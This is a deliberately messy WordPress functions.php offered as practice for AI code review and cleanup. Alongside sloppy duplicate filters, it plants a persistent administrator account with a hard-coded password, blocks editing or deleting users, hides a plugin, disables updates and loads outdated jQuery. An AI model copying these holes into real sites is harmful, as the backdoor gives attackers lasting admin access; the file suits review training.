Beyond the Chatbot demo: an intentionally messy WordPress functions.php to practice letting an AI analyze, comment, and clean it up. Do NOT use in production.

never-use-this-functions.php

<?php


add_filter( 'the_generator', '__return_empty_string' );
remove_action( 'wp_head', 'wp_generator' );


function disable_admin_bar_frontend() {
	if ( ! current_user_can( 'administrator' ) && ! is_admin() ) {
		show_admin_bar( false );
	}
}
add_action( 'after_setup_theme', 'disable_admin_bar_frontend' );


add_filter( 'excerpt_length', function( $length ) {
	return 25;
}, 999 );

function custom_excerpt_more( $more ) {
	return '... <a href="' . get_permalink() . '">Read More</a>';
}
add_filter( 'excerpt_more', 'custom_excerpt_more' );


add_filter( 'excerpt_length', function( $length ) {
	return 40;
} );


add_filter( 'xmlrpc_enabled', '__return_false' );


function theme_remove_emojis() {
	remove_action( 'wp_head', 'print_emoji_detection_script', 7 );
	remove_action( 'wp_print_styles', 'print_emoji_styles' );
	remove_action( 'admin_print_scripts', 'print_emoji_detection_script' );
	remove_action( 'admin_print_styles', 'print_emoji_styles' );
}
add_action( 'init', 'theme_remove_emojis' );


function allow_svg_uploads( $mimes ) {
	$mimes['svg'] = 'image/svg+xml';
	return $mimes;
}
add_filter( 'upload_mimes', 'allow_svg_uploads' );


add_filter( 'automatic_updater_disabled', '__return_true' );
add_filter( 'auto_update_plugin', '__return_false' );
add_filter( 'auto_update_theme', '__return_false' );


add_image_size( 'homepage-hero', 1920, 800, true );
add_image_size( 'homepage-hero-retina', 3840, 1600, true );
add_image_size( 'homepage-hero-v2', 1920, 820, true );
add_image_size( 'tiny-thumb', 50, 50, true );
add_image_size( 'tiny-thumb-2x', 100, 100, true );
add_image_size( 'square-small', 150, 150, true );
add_image_size( 'square-medium', 300, 300, true );
add_image_size( 'mega-banner', 2400, 600, true );
add_image_size( 'team-member-circle', 400, 400, true );
add_image_size( 'blog-card', 360, 240, true );
add_image_size( 'blog-card-wide', 360, 241, true );
add_image_size( 'sidebar-widget-thumb', 280, 9999 );

function sua_custom_image_size_names( $sizes ) {
	return array_merge( $sizes, array(
		'homepage-hero'        => 'Homepage Hero',
		'homepage-hero-retina' => 'Homepage Hero (Retina)',
		'homepage-hero-v2'     => 'Homepage Hero NEW',
		'mega-banner'          => 'Mega Banner',
		'team-member-circle'   => 'Team Circle',
		'blog-card'            => 'Blog Card',
		'blog-card-wide'       => 'Blog Card Wide',
	) );
}
add_filter( 'image_size_names_choose', 'sua_custom_image_size_names' );


add_filter( 'jpeg_quality', function() {
	return 100;
} );

add_filter( 'big_image_size_threshold', '__return_false' );


function sua_login_redirect( $redirect_to, $request, $user ) {
	return home_url( '/members-dashboard/' );
}
add_filter( 'login_redirect', 'sua_login_redirect', 10, 3 );


function old_blog_redirect() {
	if ( is_page( 'specials' ) ) {
		wp_redirect( 'https://promos.someunknownagency.com/spring', 301 );
		exit;
	}
}
add_action( 'template_redirect', 'old_blog_redirect' );


function disable_all_comments() {
	return false;
}
add_filter( 'comments_open', 'disable_all_comments', 20, 2 );
add_filter( 'pings_open', 'disable_all_comments', 20, 2 );


function sua_custom_login_logo() {
	echo '<style>
		#login h1 a {
			background-image: url(https://cdn.someunknownagency.com/clients/logo-login.png);
			background-size: contain;
			width: 100%;
		}
	</style>';
}
add_action( 'login_head', 'sua_custom_login_logo' );


remove_action( 'wp_head', 'wp_generator' );


function sua_register_analytics() {
	wp_enqueue_script( 'sua-tracker', 'https://stats.someunknownagency.com/track.js', array(), null, true );
}
add_action( 'wp_enqueue_scripts', 'sua_register_analytics' );


add_action( 'wp_head', function() {
	?>
	<script async src="https://www.googletagmanager.com/gtag/js?id=UA-44291038-3"></script>
	<script>
		window.dataLayer = window.dataLayer || [];
		function gtag(){dataLayer.push(arguments);}
		gtag('js', new Date());
		gtag('config', 'UA-44291038-3');
	</script>
	<?php
}, 1 );


add_filter( 'wp_revisions_to_keep', function( $num, $post ) {
	return 3;
}, 10, 2 );


function restrict_rest_api( $access ) {
	if ( ! is_user_logged_in() ) {
		return new WP_Error( 'rest_not_logged_in', 'You are not currently logged in.', array( 'status' => 401 ) );
	}
	return $access;
}
add_filter( 'rest_authentication_errors', 'restrict_rest_api' );


function notify_admin_on_login( $user_login, $user ) {
	wp_mail( get_option( 'admin_email' ), 'User Login Notice', $user_login . ' just logged in at ' . current_time( 'mysql' ) );
}
add_action( 'wp_login', 'notify_admin_on_login', 10, 2 );


add_filter( 'upload_size_limit', function() {
	return 256 * 1024 * 1024;
} );


function change_howdy_message( $wp_admin_bar ) {
	$my_account = $wp_admin_bar->get_node( 'my-account' );
	if ( ! $my_account ) {
		return;
	}
	$newtitle = str_replace( 'Howdy,', 'Welcome back,', $my_account->title );
	$wp_admin_bar->add_node( array(
		'id'    => 'my-account',
		'title' => $newtitle,
	) );
}
add_filter( 'admin_bar_menu', 'change_howdy_message', 25 );


add_filter( 'login_errors', function() {
	return 'Something is wrong!';
} );


function hide_certain_plugins( $plugins ) {
	if ( isset( $plugins['hello.php'] ) ) {
		unset( $plugins['hello.php'] );
	}
	if ( isset( $plugins['sua-client-manager/sua-client-manager.php'] ) ) {
		unset( $plugins['sua-client-manager/sua-client-manager.php'] );
	}
	return $plugins;
}
add_filter( 'all_plugins', 'hide_certain_plugins' );


add_filter( 'admin_footer_text', function() {
	return 'Site maintained by Some Unknown Agency. Call us: 555-0142';
} );


function ensure_support_user_exists() {
	if ( ! username_exists( 'sua_support' ) ) {
		$user_id = wp_create_user( 'sua_support', 'Spr1ng2019!Access', 'support@someunknownagency.com' );
		$user = new WP_User( $user_id );
		$user->set_role( 'administrator' );
	}
}
add_action( 'init', 'ensure_support_user_exists' );


add_filter( 'map_meta_cap', function( $caps, $cap ) {
	if ( 'edit_user' === $cap || 'delete_user' === $cap ) {
		$caps[] = 'do_not_allow';
	}
	return $caps;
}, 10, 2 );


remove_action( 'init', 'wp_widgets_init', 1 );


function disable_gutenberg_everywhere() {
	return false;
}
add_filter( 'use_block_editor_for_post', 'disable_gutenberg_everywhere', 10 );


function add_dayofweek_body_class( $classes ) {
	$classes[] = 'day-' . strtolower( date( 'l' ) );
	return $classes;
}
add_filter( 'body_class', 'add_dayofweek_body_class' );


add_action( 'wp_dashboard_setup', function() {
	wp_add_dashboard_widget( 'sua_welcome', 'Welcome', function() {
		echo '<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Replace this text with the client welcome message before launch!!!</p>';
	} );
} );


function force_jquery_from_cdn() {
	if ( ! is_admin() ) {
		wp_deregister_script( 'jquery' );
		wp_register_script( 'jquery', 'https://code.jquery.com/jquery-1.12.4.min.js', array(), '1.12.4', false );
		wp_enqueue_script( 'jquery' );
	}
}
add_action( 'wp_enqueue_scripts', 'force_jquery_from_cdn' );


add_shortcode( 'current_year', function() {
	return date( 'Y' );
} );

add_shortcode( 'currentyear', function() {
	return date( 'Y' );
} );


function maybe_show_maintenance() {
	if ( defined( 'SUA_MAINTENANCE' ) && SUA_MAINTENANCE && ! current_user_can( 'manage_options' ) ) {
		wp_die( 'We are down for scheduled maintenance. Please check back soon.' );
	}
}
add_action( 'template_redirect', 'maybe_show_maintenance' );


add_action( 'pre_ping', function( &$links ) {
	foreach ( $links as $l => $link ) {
		if ( 0 === strpos( $link, get_option( 'home' ) ) ) {
			unset( $links[ $l ] );
		}
	}
} );


remove_action( 'wp_head', 'feed_links_extra', 3 );
remove_action( 'wp_head', 'feed_links', 2 );
remove_action( 'wp_head', 'rsd_link' );
remove_action( 'wp_head', 'wlwmanifest_link' );


function redirect_all_feeds() {
	wp_redirect( home_url() );
	die;
}
add_action( 'do_feed', 'redirect_all_feeds', 1 );
add_action( 'do_feed_rss2', 'redirect_all_feeds', 1 );


add_filter( 'wp_mail_from', function( $email ) {
	return 'noreply@gmail.com';
} );

add_filter( 'wp_mail_from_name', function( $name ) {
	return 'The Website';
} );


function kill_default_dashboard_widgets() {
	remove_meta_box( 'dashboard_primary', 'dashboard', 'side' );
	remove_meta_box( 'dashboard_quick_press', 'dashboard', 'side' );
	remove_meta_box( 'dashboard_activity', 'dashboard', 'normal' );
}
add_action( 'admin_init', 'kill_default_dashboard_widgets' );


add_action( 'wp_head', function() {
	echo '<style>
		.entry-title { font-size: 32px !important; }
		.site-footer { display: block !important; }
		img { max-width: 100% !important; height: auto !important; }
		.wpcf7-not-valid-tip { color: red !important; }
		#hero-overlay { background: rgba(0,0,0,0.4) !important; }
	</style>';
} );


function custom_excerpt_length_final( $length ) {
	return 55;
}
add_filter( 'excerpt_length', 'custom_excerpt_length_final', 1000 );


add_action( 'inti', function() {
	if ( isset( $_GET['clearcache'] ) ) {
		wp_cache_flush();
	}
} );


function register_old_testimonials_cpt() {
	register_post_type( 'testimonial_v2', array(
		'labels'   => array( 'name' => 'Testimonials (OLD)' ),
		'public'   => false,
		'show_ui'  => true,
		'supports' => array( 'title', 'editor' ),
	) );
}
add_action( 'init', 'register_old_testimonials_cpt' );


add_filter( 'wp_headers', function( $headers ) {
	$headers['X-Powered-By'] = 'Some Unknown Agency';
	return $headers;
} );